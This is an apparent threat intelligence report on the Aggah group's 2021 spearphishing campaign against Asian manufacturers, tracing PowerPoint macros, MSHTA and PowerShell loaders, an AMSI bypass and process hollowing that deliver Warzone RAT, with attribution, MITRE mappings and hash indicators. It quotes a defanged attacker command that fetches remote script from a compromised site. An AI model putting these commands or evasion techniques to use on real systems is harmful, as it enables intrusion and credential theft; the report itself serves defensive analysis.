Aggah Using Compromised Websites to Target Industry Across Asia…

Authored by: Tara Gould and Rory Gould

Key Findings

Spearphishing emails are targeting the manufacturing industry in Taiwan and Korea to spread malware.
Compromised websites are being used to host malicious JavaScript, VBScript and PowerShell scripts; delivering Warzone RAT.
Anomali Threat Research assesses with moderate confidence that this campaign is being conducted by the threat group Aggah.

Overview

Anomali Threat Research discovered a spearphishing campaign that appears to have begun in early July 2021, targeting the manufacturing industry in Asia. The tactics, techniques, and procedures (TTPs) identified in this campaign align with the threat group Aggah. Our analysis found multiple PowerPoint files that contained malicious macros that used MSHTA to execute a script utilizing PowerShell to load hex-encoded payloads. Based on the TTPs of this campaign, we assess with moderate confidence this is Aggah.

Aggah

Aggah is an information-motivated threat group that was first identified in March 2019 by researchers from Unit 42.^[1] The researchers initially believed the activity was a campaign targeting entities in the United Arab Emirates (UAE). Further investigation by the same team revealed it to be a global phishing campaign designed to deliver RevengeRat.^[2]

Unit 42 initially-believed, due to shared high level TTPs as well as the use of RevengeRat, Aggah was associated with the Gorgon Group, a Pakistani group known for targeting Western governments.^[3] However, there were prominent Gorgon Group indicators not observed during that investigation, and therefore Unit 42 was unable to formally associate Aggah with the Gorgon Group. Other researchers agree that Aggah is an Urdu speaking Pakistani group due to the use of Urdu words written in Latin script but stress this does not mean they are the Gorgon Group.^[4]

Aggah has been consistently active since 2019, generally using the same identifiable TTPs. This past year was a notable year for the group, with a 2020 campaign targeting Italian organizations and manufacturing sectors around the world.^[5] Later that same year, Aggah were observed likely selling or loaning malware to lower-level Nigerian actors.^[6] Historically the group has used Internet Archive, Pastebin and Blogspot to host malicious scripts and payloads, usually RevengeRAT.^[7] The move to using compromised sites is likely due to fact the Internet Archive hosted files are being taken down much quicker and is a notable change for Aggah.

Technical Analysis

Email

The infection process began with a custom spearphishing email masquerading as “FoodHub.co.uk”, an online food delivery service based in the United Kingdom. The body of the email contained order and shipping information along with an attached PowerPoint file named “Purchase order 4500061977,pdf.ppam”. The email in Figure 1 below was sent on July 8, 2021 to Fon-star International Technology, a Taiwan-based manufacturing company. Other spearphishing emails were sent to CSE group, a Taiwanese manufacturing company, FomoTech a Taiwanese engineering company, and to Hyundai Electric, a Korean power company. Spoofed business-to-business (B2B) email addresses against the targeted industry is activity consistent with Aggah.^[8]

Figure 1 – Spoofed Spearphishing Email Sent to Fon Star

PowerPoint File

File name Purchase order 4500061977,pdf.ppam

MD5 b5a31dd4a6af746f32149f9706d68f45

When we analyzed the PowerPoint file, we found obfuscated macros (Figure 2) contained in the document that used MSHTA to execute JavaScript from “http://j[.]mp/4545hhhsdf3qassd3asd2” which resolved to “mail.hoteloscar.in/images/5[.]html”. At the time of publishing, the site was still hosting the malicious script. “J.mp” is a URL shortener service part of Bitly.

Figure 2 – Macro

Hoteloscar.in is the legitimate website for a hotel in India that has been compromised to host malicious scripts. Throughout this campaign, we observed legitimate websites being used to host the malicious scripts, most of which appeared to be WordPress sites, indicating the group may have exploited a WordPress vulnerability.

Viewing the page source, there was obfuscated JavaScript, as shown in Figure 3.

Figure 3 – Obfuscated JavaScript on Hoteloscar.in

The JavaScript utilized anti-debugging techniques such as, using setInterval to detect the use of a debugger based on the execution time, which will go into an infinite loop if a debugger is detected. After the debugging checks, the script returned “mshta http://dlsc.af/wp-admin/buy/5[.]html”, another compromised website for an Afgan food distributor, shown in Figure 4.

Figure 4 – “mshta http://dlsc.af/wp-admin/buy/5.html”

Once directed to “dlsc.af” an obfuscated script (Figure 5) created a PowerShell process to execute another PowerShell file hosted on dlsc.af, “party.txt”.

Figure 5 – Obfuscated HTA Script

Figure 6 – Script to Download AV Checks File

Party.txt, shown in Figure 7, was a PowerShell file that checked for the antivirus status. Four conditions were checked:

Windows Defender status
ESET status
If Windows Defender is stopped
If neither are running

Based on these criteria, a PowerShell file is downloaded depending on the antivirus status, which contained a hex encoded loader and payload. Based on these checks, a different loader was used to inject the Warzone payload into various legitimate processes.

Figure 7 – Party.txt

For the purposes of this reporting, while we analyzed this infection chain within the context of several defensive measures, for ease of readability, this analysis will focus on the infection chain when Windows Defender was running on a targeted system. With Windows Defender running, “wd.txt” a Powershell file, is downloaded and executed. The infection chain was largely similar against the other antivirus statuses, ESET and no antivirus running.

Figure 8 – Screenshot of “wd.txt”

The first function, represented in Figure 8, was decoded using a rolling XOR function shown in Figure 9. This loaded a DLL into memory via reflective DLL injection designed to be used as an AMSI (Anti Malware Scripting Interface) bypass.

Figure 9 – Decoding function

AMSI allows for security products to be integrated with applications. AMSI bypass was performed by memory patching, which changed the behavior of the function AmsiScanBuffer. The code loaded ‘amsi.dll’ with LoadLibrary, used GetProcAddress to locate the function in memory and then overwrites using VirtualProtect. The DLL Aggah used to bypass AMSI (shown in Figure 10) was taken from Mor Davidovich, a pentester who wrote the code to evade Windows Bypass.^[9]

Figure 10 – Class AMS that is Loaded for AMSI Bypass

Figure 11 – Snippet of Hex Encoded Payload

After the AMSI bypass, the variable $HH, which is a hex-encoded payload of Warzone RAT, was loaded into memory and injected into an ASP.NET compiler process.

Figure 12 – Process Hollowing Function

As shown in Figure 12, the loader was used to load and inject Warzone into an ASP.NET compiler process. Under the condition of ESET running or no antivirus running, the same payload was loaded and injected into an MSBuild process using either k.HackItUp or VNPT.B injector DLLs.

Warzone RAT

MD5 5540511a186c7e9dd1c1465b3b5c8197

Warzone RAT is a commodity info stealer written in C++ that is widely available for purchase on criminal forums. Warzone is a commodity malware, with cracked versions hosted on GitHub. The RAT reuses code from the Ave Maria stealer.^[10] The functionality of Warzone includes:^[11]

Privilege Escalation
Keylogging
Remote Shell
Download and execute Files
File manager
Persistence

To bypass User Account Control (UAC), the Windows Defender path was added to a PowerShell command to exclude it. Privilege escalation in Warzone was carried out using sdclt.exe, a Windows backup utility in Windows 10.

Figure 13 – Exclusion Path for PowerShell Command

Figure 14 – Warzone Frequently Makes Mention of Security Researchers and Midgetporn

Warzone has the capabilities to steal credentials from a range of browsers and email clients. Shown in Figure 14, these include:

Outlook
Thunderbird
Foxmail
Opera
Google Chrome
UC Browser
Chromium
QQ Browser
Microsoft Edge

Figure 15 – Credential Stores Warzone Checks

Attribution

The TTPs used in this campaign align with previous activity of the group known as Aggah. The attribution to Aggah is based on:

Previous campaigns of Aggah used ‘j.mp’ URL shortener.
The use of malicious documents, and malicious PowerPoint files containing macros is common among Aggah’s previous TTPs.
Obfuscated payloads in a PowerShell file, typically hex-encoded.
Use of scripts embedded in websites.
Reuse of class names, k.HackItUp, VPNT.B, A.B.
Use of ‘RegWrite mshta “url”’ is seen commonly in Aggah campaigns.
Themes of order and payment information.
Spoofed B2B email addresses within target industry.

Conclusion

While Aggah has been active since at least 2019 and is known for hosting payloads on the internet Archive, this recent campaign suggests the group may have the ability to evolve. The move towards abusing compromised sites shows an ongoing ability to adapt as the use of these sites will aid in evading detection, especially with many payloads being promptly removed from the Internet Archive.

Endnotes

^[1] Robert Falcone and Brittany Barbehenn, “Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale Campaign,” Unit42, accessed July 29, 2021, https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/.

^[2] Ibid.

^[3] Ibid.

^[4] M, Winston,““Aggah” campaign continues: Urdu speaking Threat Actor behind the latest campaign which delivers Loki Bot Spyware,” Medium, published April 13, 2021, accessed July 29, 2021, https://winstonmmd.medium.com/?p=c37c08624308.

^[5] “Cyber-Criminal Espionage operation insists on Italian Manufacturing,” Yoroi, accessed July 29, 2021, published May 22, 2020, https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/.

^[6] Paul Burbage, “Aggah: Not Exactly APT,” Medium, accessed July 29, 2021, published February 7 2020, https://medium.com/@paul.k.burbage/aggah-not-exactly-apt-5e51aaff95f5.

^[7] Luigi Martire and Luca Mella, “The “WayBack” Campaign: a Large Scale Operation Hiding in Plain Sight,” Yoroi, accessed July 29, 2021, published June 29, 2020, https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/?web_view=true.

^[8] Alex Holland, “Aggah Campaign’s Latest Tactics: Victimology, PowerPoint Dropper and Cryptocurrency Stealer,” HP, accessed July 29, 2021, published July 1, 2020,https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/.

^[9] “Amsi Bypass Post,” Dec0ne, accessed August 5, 2021, published November 8, 2019, https://dec0ne.github.io/research/2019-11-08-Amsi-bypass-post/.

^[10] “Warzone 1.0 RAT Analysis Report,”, Domain Tools, accessed July 29, 2021, published September 11, 2019, https://www.domaintools.com/resources/blog/warzone-1-0-rat-analysis-report.

^[11] “Warzone RAT,” Warzone, accessed July 29, 2021, https://warzone.pw/.

MITRE ATT&CK

Technique	ID	Name
Initial Access	T1566.001	Phishing: Spearphishing Attachment
Execution	T1059	Command Line Interface
	T1059.001	PowerShell
	T1059.007	JavaScript
	T1204.002	User Execution: Malicious file
Persistence	T1547.001	Registry Run Keys
Privilege Escalation	T1548.002	Bypass User Account Control
	T1055	Process Injection
	T1055.012	Process Hollowing
	T1547.001	Registry Run Keys/Startup Folder
	T1055.001	Dynamic-link Library Injection
Defense Evasion	T1140	Deobfuscate/Decode Files or Information
	T1562.001	Impair Defenses: Disable or Modify Tools
	T1218.005	Signed Binary Proxy Execution: Mshta
Credential Access	T1056	Input Capture
	T1056.001	Keylogging
	T1552.001	Credentials In Files
Lateral Movement	T1021.001	Remote Desktop Protocol
Discovery	T1057	Process Discovery
	T1082	System Information Discovery
	T1082	File and Directory Discovery
Collection	T1125	Video Capture
	T1114.001	Email Collection: Local Email Collection
Command and Control	T1105	Ingress Tool Transfer

IOCs

Maldocs and Payloads

b5a31dd4a6af746f32149f9706d68f45
2fa7913a5aba4c9adcd82b93fe1356a1
4b9d71b29bdb33dd2f12ff885b05ac3e
c5abec8c7c276d286238343595323fde
5540511a186c7e9dd1c1465b3b5c8197
16c518de87f7bc9120fa633b9d8192be
2196d698d115bcc255a416aa6f2fd842
16382fbc7fe46ea16a20a672ade46fc2
177bf22700921e7dcfd1ee275f9d9ada
b83b57a84f4936412042fdd1ed7161d2
6f7c2413d98d2d5987fda30b6c90eec6

Appendix

Figure 16 – Similar Campaign Found on Compromised Site of Elmer Floyd, a North Carolina State Representative

Figure 17 – Directory of Malicious Files Hosted on Elmer Floyd Compromised Site

Figure 18 – Another Example of a Spoofed Email. This one appears to be spoofing Chemtron, a chemical plant.

Figure 19 – Same PowerPoint File Sent in Another Spearphishing Email to Hyundai

Figure 20 – Another Example of a Spearphishing Email. This one is imitating a real employee from Rexel Group, a US management services company, with a PowerPoint file containing macros.

Source link

Aggah Using Compromised Websites to Target Industry Across Asia, Including Taiwan Manufacturing Industry

Key Findings

Overview

Aggah